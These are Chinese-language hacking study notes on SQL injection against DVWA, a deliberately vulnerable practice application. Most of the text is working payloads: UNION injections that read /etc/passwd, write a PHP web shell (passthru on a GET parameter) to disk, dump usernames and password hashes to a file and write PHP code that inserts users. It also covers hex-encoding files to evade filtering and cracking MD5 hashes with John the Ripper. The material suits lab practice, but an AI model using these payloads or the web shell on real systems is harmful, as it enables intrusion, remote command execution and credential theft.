有加号不要空格
find / -name a.php
密码破解使用john
username:passhash>dvwa.txt
john --format=raw-MD5 dvwa.txt
--show 显示破解完的密码
运行过之后会产生.jhon文件夹
SQL注入其他利用
读取文件
'union SELECT null,load_file('/etc/passwd')--+
写入文件
'union select null,"<?php passthru($_GET['cmd']);?>" INTO DEMPFILE "/var/www/a.php"--
没权限,mysql账号没有权限往www里写入文件
'union select null,"<?php passthru($_GET['cmd']);?>" INTO DEMPFILE "a.php"--
到默认目录下,联合文件包含漏洞(把文件load进页面执行),来执行脚本
最通用的目录 /tmp/ 谁都可以写读
'union select null,"<?php passthru($_GET['cmd']);?>" INTO DEMPFILE "/tmp/a.php"--
尝试写入更复杂的木马
十六进制编码绕过
xxd 二进制查看,以十六进制显示
tr -d '\n' 删掉换行符
0x 表示十六进制
cat b.php | xxd -ps | tr -d '\n'
(括起来十六进制)
脱裤
INTO OUTFILE '/tmp/a.db'
' union select null, concat(user,0x3a,password) from users INTO OUTFILE '/ tmp/a.db'--
一个思路:编写服务端代码 实现一些别的功能
实现从表单插入用户
' union select null,'"; echo "first_name: $first_name
"; echo "last_name: $last_name
"; echo "username: $username
"; echo "avatar: $avatar
";$con=mysqli_connect("127.0.0.1","root","","dvwa");if(mysqli_connect_errno()) { echo "Failed to connect to MySQL: " . mysqli_connect_error(); } else { echo "Connected to database"; } $password = "123"; $sql="insert into dvwa.users values(\\"$userID\\",\\"$first_name\\",\\"$last_name\\",\\"$username\\",MD5(\\"$password\\"),\\"$avatar\ \")"; if (mysqli_query($con,$sql)) { echo "[Successful Insertion]: $sql"; } else { echo "Error creating database:".mysqli_error($con);}mysqli_close($con); } ?>"> ' INTO DUMPFILE '/tmp/user.php' --